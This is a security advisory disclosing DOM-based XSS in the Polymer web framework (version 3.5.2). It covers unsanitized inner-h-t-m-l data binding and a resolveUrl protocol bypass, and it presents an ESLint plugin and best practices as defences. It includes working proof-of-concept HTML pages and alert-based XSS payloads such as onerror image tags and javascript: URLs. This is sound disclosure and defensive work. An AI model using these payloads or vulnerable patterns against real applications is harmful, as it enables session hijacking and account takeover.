Full Disclosure ID: HA-2026-00130

Polymer - Version 3.5.2 / Universal DOM-Based XSS via Unsanitized Data Binding

JP
Joshua Provoste Security Researcher
Published June 01, 2026
Severity 8.1 (HIGH)
Target Polymer / Web Components Framework

Introduction

Polymer is an open-source JavaScript library developed by Google, designed to make it easier for developers to build custom elements and reusable Web Components. By leveraging native browser APIs, Polymer allows developers to construct encapsulated custom HTML elements that operate seamlessly alongside standard elements, laying the foundation for modern component-based frontend web architectures.

A core feature of Polymer is its lightweight data-syncing and declarative data-binding system. This system simplifies dynamic template updates by syncing properties and attributes automatically, reducing boilerplate code in complex applications. Because Web Components are designed to be highly interoperable, Polymer elements have been widely adopted as building blocks in large-scale enterprise applications and library frameworks. Consequently, any security flaw in its design can easily propagate across dependent systems, making security analysis of its property handling critical.

Vulnerability description

The following documents a security flaw in the Polymer framework's property effects system, whose technical impact results in universal DOM-based Cross-Site Scripting (XSS) when binding untrusted data to sensitive DOM properties. This vulnerability is a design-level flaw in how Polymer handles data binding. To understand why this is a framework-level vulnerability and not just a characteristic of JavaScript, we must examine the concept of "Secure by Default":

  1. Secure by Default: Modern web frameworks (such as React, Angular, or Vue) are expected to act as a security layer between user-controlled data and the DOM. For instance, React implicitly escapes all bound data unless the developer explicitly uses the dangerouslySetInnerHTML property. Polymer, however, allows direct binding to sensitive properties like inner-h-t-m-l via its standard [[prop]] or syntax without any default sanitization. By omitting a default sanitizer, the framework fails to provide a secure foundation, shifting the entire security burden to the developer, who often assumes the framework handles basic security tasks.
  2. Convenience vs. Security: The vulnerability is not simply that "JavaScript can write HTML," but that the framework's internal mechanisms (PropertyEffects) are designed to write that data directly into the DOM without any filtering unless the developer manually implements a window.Polymer.sanitizeDOMValue callback.
  3. Proof of Framework Flaw: Using a simple reproduction case (e.g., repro.html) is valid because it demonstrates that using the framework as documented—utilizing data bindings—results in unauthorized script execution when data originates from an untrusted source (like a URL parameter).

The flaw lies in the fact that the tools provided to simplify developer tasks (data-binding) lack the necessary "guardrails" to prevent common attacks, making the design inherently insecure.

The vulnerable code in lib/mixins/property-effects.js:

function applyBindingValue(inst, node, binding, part, value) {
  value = computeBindingValue(node, value, binding, part);
  if (sanitizeDOMValue) { // sanitizeDOMValue is undefined by default in lib/utils/settings.js
    value = sanitizeDOMValue(value, binding.target, binding.kind, node);
  }
  if (binding.kind == 'attribute') {
    inst._valueToNodeAttribute(node, value, binding.target);
  } else {
    // sets property directly, bypassing any automatic browser sanitization
  }
}

Technical Impact Analysis

Project Purpose & Context

Polymer is a library designed to simplify the creation of Web Components. Its primary value proposition is reducing boilerplate through high-level features like dynamic templates and data-syncing. As a core library used as a dependency in many other components, any inherent security weakness has a compounding effect across the entire ecosystem of applications built with it.

Platform & Deployment Environment

The framework is a client-side library executed within web browsers. It is distributed via the NPM registry and is intended for use in everything from simple static sites to complex single-page applications.

Comprehensive Risk Assessment

The risk is classified as High. Because the framework documentation encourages the use of property bindings for efficiency, developers are highly likely to bind user-controlled data to component properties. Without a default sanitization layer, this pattern creates widespread, silent XSS sinks across any application that does not explicitly opt-in to security by implementing a custom sanitizer.

Attack Scenario

Who wants to exploit a particular vulnerability?

Any remote, unauthenticated attacker who can influence the data being passed into a Polymer component's properties.

For what gain?

The attacker aims to execute arbitrary JavaScript in a victim's browser session. The primary goals include:

  • Session Hijacking: Stealing session cookies or local storage tokens.
  • Data Exfiltration: Accessing sensitive user profile data or private information displayed on the page.
  • Account Takeover: Performing actions on behalf of the user (e.g., changing passwords or email addresses).

In what way?

By injecting a malicious payload (e.g., <img src=x onerror=alert(document.domain)>) into a URL parameter or a database field that the application then retrieves and binds to a Polymer property. If that property is bound to a sensitive DOM attribute (like inner-h-t-m-l), the payload executes immediately upon rendering.

Reproduction steps

Step N° 1. Install project dependencies and the Polymer CLI in a WSL (Ubuntu) environment.

npm install

Step N° 2. Start the local development server from the repository root.

npm run serve

Step N° 3. Create a reproduction file named poc.html in the root folder that uses a data binding to inner-h-t-m-l.

<script type="module">
  import { PolymerElement, html } from './polymer-element.js';
  class ReproXSS extends PolymerElement {
    static get properties() { return { xss: String }; }
    static get template() {
      return html`<div inner-h-t-m-l="[[xss]]"></div>`;
    }
  }
  customElements.define('repro-xss', ReproXSS);
</script>
<repro-xss id="target"></repro-xss>
<script>
  const params = new URLSearchParams(window.location.search);
  document.addEventListener('DOMContentLoaded', () => {
    document.getElementById('target').xss = params.get('payload');
  });
</script>

Step N° 4. Navigate to the following URL to trigger the XSS payload via the payload parameter.

http://127.0.0.1:8081/components/@polymer/polymer/poc.html?payload=<img src=x onerror=alert('XSS_SUCCESS')>

The XSS Evidence

XSS Success Alert

eslint-plugin-polymer-security

ESLint rules for securing Polymer applications against common DOM-based XSS sinks.

The "Pit of Failure" in Polymer

Unlike modern frameworks like React and Angular, which are Secure by Default, Polymer (v3.5.2 and below) allows unsanitized data binding to sensitive DOM properties directly through its template syntax. This creates a "Pit of Failure" where legitimate developers can unintentionally introduce XSS vulnerabilities.

This plugin provides a proactive defense against these design-level flaws by detecting and blocking unsafe patterns at development time.

Installation

You'll first need to install ESLint:

npm i eslint --save-dev

Next, install eslint-plugin-polymer-security:

npm install eslint-plugin-polymer-security --save-dev

Note: You can also install it directly from GitHub:

npm install https://github.com/JoshuaProvoste/eslint-plugin-polymer-security.git --save-dev

Usage

Add polymer-security to the plugins section of your .eslintrc configuration file. You can omit the eslint-plugin- prefix:

{
    "plugins": [
        "polymer-security"
    ]
}

Then configure the rules you want to use under the rules section.

{
    "rules": {
        "polymer-security/no-inner-h-t-m-l-binding": "error",
        "polymer-security/no-insecure-url-resolution": "error"
    }
}

Supported Rules

no-inner-h-t-m-l-binding

Disallows the use of the inner-h-t-m-l property in Polymer templates and object properties (like the properties getter).

Vulnerable Code:

static get template() {
  return html`<div inner-h-t-m-l="[[untrustedData]]"></div>`;
}

Secure Alternative:

Implement a custom sanitizer via window.Polymer.sanitizeDOMValue and use safe data binding patterns.

no-insecure-url-resolution

Disallows calling resolveUrl() or this.resolveUrl() with dynamic (non-literal) input. Polymer's URL resolution utility uses a weak regular expression that fails to filter dangerous protocol schemes like javascript:, data:, and vbscript:.

Vulnerable Code:

_resolve(url) {
  return this.resolveUrl(url); // Vulnerable if 'url' is untrusted
}

Secure Alternative:

Only pass hardcoded string literals to resolveUrl() or implement a robust protocol whitelist/sanitizer before resolution.

Security Best Practices for Polymer

To proactively prevent DOM-based XSS in Polymer applications, follow these recommendations:

1. Avoid inner-h-t-m-l Bindings

Always prefer standard data binding to textContent or safe attributes. If you must render HTML:

  • Never bind untrusted data directly to inner-h-t-m-l.
  • Use a battle-tested library like DOMPurify to sanitize any HTML before it reaches a Polymer property.
  • Register a global sanitizer using Polymer.sanitizeDOMValue (if using Polymer 2.x/3.x) to intercept and clean all property-to-attribute bindings.

2. Sanitize URL Inputs

Polymer's resolveUrl is a path normalization utility, not a security sanitizer.

  • Whitelist Protocols: Before passing a string to resolveUrl, verify that it starts with an approved scheme (e.g., https:, http:, mailto:, or a relative /).
  • Use the URL API: Use the native new URL(input) constructor to parse and validate the protocol. If the protocol is javascript:, reject the input immediately.

3. Use Content Security Policy (CSP)

Implement a strict CSP to act as a secondary defense layer. A well-configured CSP can block the execution of inline scripts and unauthorized protocols even if an injection occurs.

eslint-plugin-polymer-security Proof of Concepts (PoC)

Complete Proof of Concepts demonstrating these vulnerabilities.

1. Unsanitized inner-h-t-m-l Binding

Location: poc/inner-h-t-m-l-binding/poc.html

Description: Demonstrates direct injection into the DOM via unsanitized data binding.

poc/inner-h-t-m-l-binding/poc.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>Minimal Polymer XSS Demo</title>
</head>
<body>

  <!-- Define the Vulnerable Component -->
  <script type="module">
    // Import path tracks one level up to C:\polymer\
    import { PolymerElement, html } from '../polymer-element.js';

    class VulnerableElement extends PolymerElement {
      static get properties() {
        return {
          content: String
        };
      }
      static get template() {
        // The Sink: Binding a property directly to 'inner-h-t-m-l'
        return html`<div id="sink" inner-h-t-m-l="[[content]]"></div>`;
      }
    }
    customElements.define('vulnerable-element', VulnerableElement);
  </script>

  <!-- Usage of the Component -->
  <div style="font-family: sans-serif; padding: 20px;">
    <h1>Polymer XSS Reproduction PoC</h1>
    <p>This page captures data from the <strong>'p'</strong> URL parameter and binds it to a Polymer property.</p>
    <hr>
    
    <vulnerable-element id="target"></vulnerable-element>

    <div id="instructions" style="margin-top: 20px; padding: 10px; background: #f0f0f0; border-radius: 4px;">
      <strong>Instructions:</strong>
      <p>To trigger the XSS, start a python server in <code>C:\polymer\</code>:</p>
      <code>python -m http.server 8081</code>
      <p>Then navigate to:</p>
      <code>http://localhost:8081/poc/xss-demo.html?p=&lt;img src=x onerror=alert('XSS_SUCCESS_IN_POC')&gt;</code>
    </div>
  </div>

  <!-- Logic to trigger the injection -->
  <script>
    document.addEventListener('DOMContentLoaded', () => {
      const params = new URLSearchParams(window.location.search);
      const payload = params.get('p');
      
      if (payload) {
        // Triggers the XSS by assigning untrusted data to the component's property
        const target = document.getElementById('target');
        if (target) {
          target.content = payload;
        }
      }
    });
  </script>

</body>
</html>

Evidence:

XSS Inner HTML Binding Evidence

2. Insecure URL Resolution (ABS_URL Bypass)

Location: poc/xss-url-bypass/poc.html

Description: Demonstrates how resolveUrl fails to filter malicious protocols, leading to XSS on user interaction.

poc/xss-url-bypass/poc.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>Polymer XSS via Insecure URL Resolution</title>
</head>
<body>

  <!-- Define the Vulnerable Component -->
  <script type="module">
    // Import path tracks one level up to C:\polymer\
    import { PolymerElement, html } from '../polymer-element.js';

    class ResolveBypassElement extends PolymerElement {
      static get properties() {
        return {
          link: String
        };
      }
      static get template() {
        /**
         * The Vulnerability: 
         * 1. Dynamic binding to href$ attribute.
         * 2. Processing input via this.resolveUrl().
         * 3. Polymer's resolveUrl fails to sanitize dangerous protocols like 'javascript:'.
         */
        return html`<a id="target" href$="[[_resolve(link)]]" style="color: blue; text-decoration: underline; cursor: pointer;">Click for XSS (URL Bypass)</a>`;
      }

      _resolve(url) {
        // This call is what the ESLint rule 'no-insecure-url-resolution' detects
        return this.resolveUrl(url);
      }
    }
    customElements.define('resolve-bypass-element', ResolveBypassElement);
  </script>
 
  <!-- Usage of the Component -->
  <div style="font-family: sans-serif; padding: 20px; max-width: 800px; margin: auto;">
    <h1 style="color: #d93025;">Polymer XSS Reproduction: URL Resolution Bypass</h1>
    <p>This PoC demonstrates a logic bypass in Polymer's <code>resolveUrl</code> utility, which fails to filter executable protocol schemes (e.g., <code>javascript:</code>, <code>data:</code>).</p>
    <hr>
    
    <div style="padding: 15px; border: 1px solid #ccc; border-radius: 8px; background: #fff;">
      <resolve-bypass-element id="repro"></resolve-bypass-element>
    </div>
 
    <div id="instructions" style="margin-top: 20px; padding: 15px; background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 4px;">
      <strong>Reproduction steps:</strong>
      <ol>
        <li>Start a web server in <code>C:\polymer\</code>:
          <br><code>python -m http.server 8081</code>
        </li>
        <li>Navigate to the PoC URL (assuming this file is in <code>C:\polymer\poc\</code>):
          <br><code>http://localhost:8081/poc/real-poc.html?url=javascript:alert('XSS_SUCCESS_URL_BYPASS')</code>
        </li>
        <li>Click the <strong>"Click for XSS"</strong> link above.</li>
      </ol>
      <p><strong>Result:</strong> Arbitrary JavaScript executes because the <code>ABS_URL</code> regex in Polymer allows any word followed by a colon as an "absolute URL" without sanitization.</p>
    </div>
  </div>

  <!-- Logic to capture URL parameter -->
  <script>
    document.addEventListener('DOMContentLoaded', () => {
      const params = new URLSearchParams(window.location.search);
      const urlInput = params.get('url');
      
      if (urlInput) {
        const repro = document.getElementById('repro');
        if (repro) {
          // Triggers the component process
          repro.link = urlInput;
        }
      }
    });
  </script>

</body>
</html>

Evidence:

XSS URL Resolution Bypass Evidence

How to run the PoCs:

  1. Clone this repository.
  2. Serve the root directory using a local web server (e.g., python -m http.server 8081).
  3. For inner-h-t-m-l: Navigate to http://localhost:8081/poc/inner-h-t-m-l-binding/poc.html?p=<img src=x onerror=alert('XSS_SUCCESS_IN_POC')>
  4. For URL Bypass: Navigate to http://localhost:8081/poc/xss-url-bypass/poc.html?url=javascript:alert('XSS_SUCCESS_URL_BYPASS') and click the link.

Executive Summary: DOM-based XSS via Unsanitized Data Binding in Polymer

The research identifies a design-level security flaw in the Polymer framework (v3.5.2 and below) that allows for universal DOM-based Cross-Site Scripting (XSS).

  • Root Cause: The framework's PropertyEffects system binds untrusted data directly to sensitive DOM properties (such as inner-h-t-m-l) without performing any default sanitization.
  • Exploitation Mechanism: Polymer provides high-level data-binding syntax ([[prop]] or ) that implicitly trusts and renders data. By injecting a malicious payload (e.g., <img src=x onerror=alert('XSS')>) into a URL parameter, an attacker can coerce the framework into rendering the payload into the DOM, resulting in unauthorized script execution.

Analysis of Scope and Security Implications

This vulnerability is of high severity because it violates the "Secure by Default" principle expected of modern web frameworks, shifting the security burden entirely to the developer.

1. Infection Scenarios

  • Implicit Trust in Bindings: Because the framework documentation encourages property bindings for efficiency, developers often bind user-controlled data to component properties without implementing the necessary custom window.Polymer.sanitizeDOMValue callbacks, leading to widespread XSS sinks.
  • URL Resolution Bypass: The framework’s resolveUrl() utility relies on a weak regular expression that fails to filter dangerous protocol schemes such as javascript:, data:, or vbscript:, allowing attackers to bypass security via URI-based injection.

2. Factors Exacerbating Risk

  • Design-Level Flaw: The vulnerability is not a simple coding error but a fundamental design oversight in the framework's internal data-syncing mechanisms, causing a "Pit of Failure" for developers.
  • Compounding Effect: As Polymer is a core dependency for many web components, any application built using this library is potentially exposed, creating a silent security debt across large enterprise ecosystems.

Conclusion and Recommendation

This is a high-severity vulnerability. The absence of a default sanitization layer in Polymer’s data-binding syntax renders applications highly susceptible to DOM-based XSS.

Suggested actions for the development team:

  1. Implement Global Sanitization: Register a mandatory global sanitizer using Polymer.sanitizeDOMValue to intercept and clean all property-to-attribute bindings by default.
  2. Adopt Proactive Tooling: Utilize the provided eslint-plugin-polymer-security to detect and block unsafe patterns (like inner-h-t-m-l binding and dynamic URL resolution) during the development lifecycle.
  3. Hardened Best Practices: Deprecate the use of inner-h-t-m-l in favor of textContent or DOMPurify-sanitized content; implement strict Content Security Policies (CSP) as a secondary defense layer.